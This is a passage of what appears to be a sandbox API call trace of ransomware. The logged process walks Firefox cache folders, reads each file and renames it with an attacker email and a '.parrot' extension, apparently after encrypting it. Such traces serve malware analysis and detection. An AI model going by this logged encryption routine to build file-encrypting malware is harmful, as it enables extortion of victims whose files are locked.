lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f21b70, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x21839, dwReserved0=0x0, dwReserved1=0x0, cFileName="9DCB7d01", cAlternateFileName="")) returned 1 [0087.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d308 [0087.339] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.339] ReadFile (in: hFile=0x27c, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.345] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.346] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x21839, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x21839, lpOverlapped=0x0) returned 1 [0087.347] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0087.352] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0087.358] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\9dcb7d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\9DCB7d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\c\\e6\\9dcb7d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.361] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\E6\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.361] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1618a20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1618a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.361] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc1618a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x21958, dwReserved0=0x0, dwReserved1=0x0, cFileName="9DCB7d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="9DCB7D~1.PAR")) returned 1 [0087.365] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\C\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.365] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7eaf750, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7eaf750, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.366] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1618a20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1618a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E6", cAlternateFileName="")) returned 1 [0087.366] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7eaf750, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc1618a20, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1618a20, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="E6", cAlternateFileName="")) returned 0 [0087.366] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.378] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.378] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.378] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.378] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.378] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="08", cAlternateFileName="")) returned 1 [0087.378] lstrcmpW (lpString1="08", lpString2=".") returned 1 [0087.378] lstrcmpW (lpString1="08", lpString2="..") returned 1 [0087.378] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.379] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.379] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.381] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.381] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.381] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x8266, dwReserved0=0x0, dwReserved1=0x0, cFileName="71469d01", cAlternateFileName="")) returned 1 [0087.381] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.381] ReadFile (in: hFile=0x268, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.383] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.383] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8266, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x8266, lpOverlapped=0x0) returned 1 [0087.385] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.387] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\71469d01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\71469d01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\d\\08\\71469d01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.390] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\08\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.390] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc1664ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1664ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.390] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xc1664ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x8388, dwReserved0=0x0, dwReserved1=0x0, cFileName="71469d01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="71469D~1.PAR")) returned 1 [0087.392] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\D\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.392] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81e671d0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81e671d0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.393] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc1664ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1664ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="08", cAlternateFileName="")) returned 1 [0087.393] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e671d0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc1664ce0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc1664ce0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="08", cAlternateFileName="")) returned 0 [0087.393] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.394] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.394] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.394] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.394] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.394] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="69", cAlternateFileName="")) returned 1 [0087.394] lstrcmpW (lpString1="69", lpString2=".") returned 1 [0087.394] lstrcmpW (lpString1="69", lpString2="..") returned 1 [0087.394] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.394] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.394] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.396] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.396] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.396] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb80063b0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10d22, dwReserved0=0x0, dwReserved1=0x0, cFileName="885EEd01", cAlternateFileName="")) returned 1 [0087.396] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0087.396] ReadFile (in: hFile=0x268, lpBuffer=0x18e080, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x18e080*, lpNumberOfBytesRead=0x18e024*=0x18, lpOverlapped=0x0) returned 1 [0087.407] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.408] ReadFile (in: hFile=0x268, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x10d22, lpNumberOfBytesRead=0x18e024, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e024*=0x10d22, lpOverlapped=0x0) returned 1 [0087.411] SetFilePointerEx (in: hFile=0x268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.414] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\885eed01"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\885EEd01.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\e\\69\\885eed01.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0087.417] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\69\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.417] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc16b0fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc16b0fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.417] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xc16b0fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x10e48, dwReserved0=0x0, dwReserved1=0x0, cFileName="885EEd01.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="885EED~1.PAR")) returned 1 [0087.420] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\E\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.420] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.421] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc16b0fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc16b0fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="69", cAlternateFileName="")) returned 1 [0087.421] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xc16b0fa0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc16b0fa0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="69", cAlternateFileName="")) returned 0 [0087.421] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0087.422] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.422] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb6518ad0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x82329dd0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x82329dd0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.422] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.422] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.422] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="23", cAlternateFileName="")) returned 1 [0087.422] lstrcmpW (lpString1="23", lpString2=".") returned 1 [0087.422] lstrcmpW (lpString1="23", lpString2="..") returned 1 [0087.422] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\F\\23\\*", fInfoLevelId=0x0, lpFindFileData=0x18e0dc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e0dc) returned 0x6005d0 [0087.423] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0087.423] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7f6de30, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.425] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0087.425] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0087.425] FindNextFileW (in: hFindFile=0x6005d0, lpFindFileData=0x18e0dc | out: lpFindFileData=0x18e0dc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb7f6de30, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb7f6de30, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb7fe0250, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, 